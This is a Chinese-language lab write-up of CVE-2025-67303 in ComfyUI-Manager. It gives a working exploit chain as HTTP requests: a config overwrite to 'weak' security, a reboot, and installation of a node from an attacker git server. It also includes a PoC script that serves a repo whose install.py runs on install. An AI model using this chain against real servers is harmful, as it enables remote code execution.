# ComfyUI-Manager 远程代码执行漏洞 CVE-2025-67303

## 漏洞描述

ComfyUI 是一款基于节点式工作流的 Stable Diffusion 专业图形界面，是开源 AI 绘画领域的核心项目之一。ComfyUI-Manager 是 ComfyUI 的官方扩展管理器，负责管理自定义节点、模型和更新的安装。

在 v3.38 版本之前，ComfyUI-Manager 的数据与配置目录未受 Web API 访问控制的充分保护。攻击者可以利用 `/api/manager/db_mode` 接口注入任意配置参数，包括将 `security_level` 设置为 `weak` 以禁用安全限制。结合 `/api/manager/reboot` 接口重启服务和 `/customnode/install/git_url` 接口安装恶意自定义节点，攻击者可以在服务器上实现远程代码执行。该漏洞已在 ComfyUI-Manager v3.38 版本中通过引入 " 系统用户保护 API" 得到修复，所有配置数据被迁移至受保护的目录下。

参考链接：

- https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md
- https://github.com/Comfy-Org/ComfyUI-Manager/pull/2338/commits/e44c5cef58fb4973670b86433b9d24d077b44a26
- https://mp.weixin.qq.com/s/I1_2E9OyxySwWy0KqQdJXg

## 漏洞影响

```
ComfyUI-Manager < v3.38
```

## 环境搭建

Vulhub 执行如下命令启动 ComfyUI-Manager 3.37 漏洞环境：

```
docker compose up -d
```

服务启动后，访问 `http://your-ip:8188` 即可看到 ComfyUI 的界面。

![](images/ComfyUI-Manager%20远程代码执行漏洞%20CVE-2025-67303/image-20260323095311938.png)

## 漏洞复现

默认情况下，`/customnode/install/git_url` 接口受安全限制保护。直接尝试安装自定义节点会返回 403 Forbidden 响应：

```
POST /customnode/install/git_url HTTP/1.1
Host: your-ip:8188
Content-Type: text/plain

http://10.8.0.1:9999/evil-node-6cll31
```

![](images/ComfyUI-Manager%20远程代码执行漏洞%20CVE-2025-67303/image-20260323094648811.png)

由于 ComfyUI-Manager 将配置存储在未受保护的 `user/default/` 目录下，攻击者可以通过 ComfyUI 的 `/userdata/`API 直接读取当前的 `config.ini`（注意路径中的斜杠需要 URL 编码为 `%2F`）：

```
GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
Host: your-ip:8188
``````

![](images/ComfyUI-Manager%20远程代码执行漏洞%20CVE-2025-67303/image-20260323094847281.png)

响应中包含完整的配置文件内容。为了绕过安全限制，将获取到的内容中 `security_level` 的值从 `normal` 修改为 `weak`，然后通过 POST 请求将完整的修改后内容覆写回去：

```
POST /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
Host: your-ip:8188
Content-Type: application/octet-stream

[default]
preview_method = none
git_exe =
use_uv = True
channel_url = https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
share_option = all
bypass_ssl = False
file_logging = True
component_policy = workflow
update_policy = stable-comfyui
windows_selector_event_loop_policy = False
model_download_by_agent = False
downgrade_blacklist =
security_level = weak
always_lazy_install = False
network_mode = public
db_mode = cache
```

![](images/ComfyUI-Manager%20远程代码执行漏洞%20CVE-2025-67303/image-20260323095223743.png)

接着，向 `/api/manager/reboot` 接口发送请求来重启 ComfyUI 服务，使新配置生效。

```
GET /api/manager/reboot HTTP/1.1  
Host: your-ip:8188
```

服务器重启后（等待几秒钟让服务完全启动），在宿主机上运行 [evil-git-server.py](https://github.com/vulhub/vulhub/blob/master/comfyui/CVE-2025-67303/evil-git-server.py) 脚本，启动一个本地 Git HTTP 服务器来托管恶意自定义节点，脚本会输出带有随机后缀的恶意仓库 URL（例如 `http://your-ip:9999/evil-node-abc123`）：

```shell
python evil-git-server.py
```

![](images/ComfyUI-Manager%20远程代码执行漏洞%20CVE-2025-67303/image-20260323101020130.png)

向 `/customnode/install/git_url` 接口发送 POST 请求，从本地 Git 服务器安装恶意自定义节点。将 `your-ip` 替换为 Docker 容器可访问的宿主机 IP 地址，并使用 PoC 脚本输出的仓库 URL：

```
POST /customnode/install/git_url HTTP/1.1
Host: your-ip:8188
Content-Type: text/plain

http://172.17.0.1:9999/evil-node-tlth5a
```

![](images/ComfyUI-Manager%20远程代码执行漏洞%20CVE-2025-67303/image-20260323101145412.png)

恶意 Git 服务器会收到来自 ComfyUI 服务器的多个请求，用于克隆恶意仓库：

![](images/ComfyUI-Manager%20远程代码执行漏洞%20CVE-2025-67303/image-20260323101126802.png)

恶意代码会在安装过程中立即执行。可以通过检查容器内是否存在 `/tmp/success` 文件来验证命令已被执行：

```shell
docker compose exec web ls -al /tmp/
```

![](images/ComfyUI-Manager%20远程代码执行漏洞%20CVE-2025-67303/image-20260323101211220.png)

恶意自定义节点的 `install.py` 文件包含以下代码，这些代码会在安装过程中被执行：

```python
import subprocess
subprocess.run(["touch", "/tmp/success"])
```

在实际攻击场景中，攻击者会将恶意自定义节点托管在公开的 Git 仓库中，利用此漏洞链在无需用户交互的情况下远程安装恶意节点。

## 漏洞 POC

evil-git-server.py

```python
#!/usr/bin/env python3
"""
CVE-2025-67303 PoC - Local Git HTTP Server for ComfyUI-Manager RCE

This script starts a local Git HTTP server hosting a malicious custom node.
When the malicious node is installed via ComfyUI-Manager, it executes
`touch /tmp/success` to demonstrate remote code execution.

Usage:
    python poc.py [port]

    Default port is 9999. The malicious repository will be available at:
    http://your-ip:9999/evil-node-<random>
"""

import functools
import http.server
import os
import random
import shutil
import stat
import string
import subprocess
import sys
import tempfile

def remove_readonly(func, path, excinfo):
    """Error handler for shutil.rmtree to handle read-only files on Windows."""
    os.chmod(path, stat.S_IWRITE)
    func(path)

EVIL_NODE_CODE = '''
import subprocess
subprocess.run(["touch", "/tmp/success"])

NODE_CLASS_MAPPINGS = {}
'''

def create_git_repo(base_dir):
    """Create a bare Git repository with malicious custom node code."""
    random_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
    repo_name = f"evil-node-{random_suffix}"
    
    src_path = os.path.join(base_dir, "src")
    bare_path = os.path.join(base_dir, repo_name)
    
    os.makedirs(src_path, exist_ok=True)
    
    # Create __init__.py with malicious code
    init_file = os.path.join(src_path, "__init__.py")
    with open(init_file, "w", encoding="utf-8") as f:
        f.write('# This is a malicious custom node')

    # Create install.py with malicious code
    install_file = os.path.join(src_path, "install.py")
    with open(install_file, "w", encoding="utf-8") as f:
        f.write(EVIL_NODE_CODE)
    
    # Initialize Git repository and commit
    subprocess.run(["git", "init"], cwd=src_path, check=True, 
                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    subprocess.run(["git", "config", "user.email", "test@test.com"], cwd=src_path, check=True,
                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    subprocess.run(["git", "config", "user.name", "test"], cwd=src_path, check=True,
                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    subprocess.run(["git", "add", "."], cwd=src_path, check=True,
                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    subprocess.run(["git", "commit", "-m", "evil node"], cwd=src_path, check=True,
                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    
    # Clone as bare repository for dumb HTTP protocol
    subprocess.run(["git", "clone", "--bare", src_path, bare_path], check=True,
                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    
    # Enable dumb HTTP protocol
    subprocess.run(["git", "update-server-info"], cwd=bare_path, check=True,
                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    
    # Cleanup source repository
    shutil.rmtree(src_path, onerror=remove_readonly)
    
    return repo_name

def main():
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 9999

    with tempfile.TemporaryDirectory(prefix="comfyui-poc-") as temp_dir:
        print(f"[*] Creating malicious Git repository...")
        repo_name = create_git_repo(temp_dir)
        
        print(f"[+] Git HTTP server starting on port {port}")
        print(f"[+] Malicious repository URL: http://your-ip:{port}/{repo_name}")
        print(f"")
        print(f"[*] Use this URL in the exploit:")
        print(f'    {{"url": "http://your-ip:{port}/{repo_name}"}}')
        print(f"")
        print(f"[*] Press Ctrl+C to stop the server")
        print(f"")
        
        # Create handler with specified directory
        handler = functools.partial(http.server.SimpleHTTPRequestHandler, directory=temp_dir)
        
        with http.server.HTTPServer(("0.0.0.0", port), handler) as httpd:
            try:
                httpd.serve_forever()
            except KeyboardInterrupt:
                print("\n[*] Server stopped")

if __name__ == "__main__":
    main()
```

## 漏洞修复

官方已发布 v3.38 版本，建议升级至最新版本。升级具体操作参考 https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md
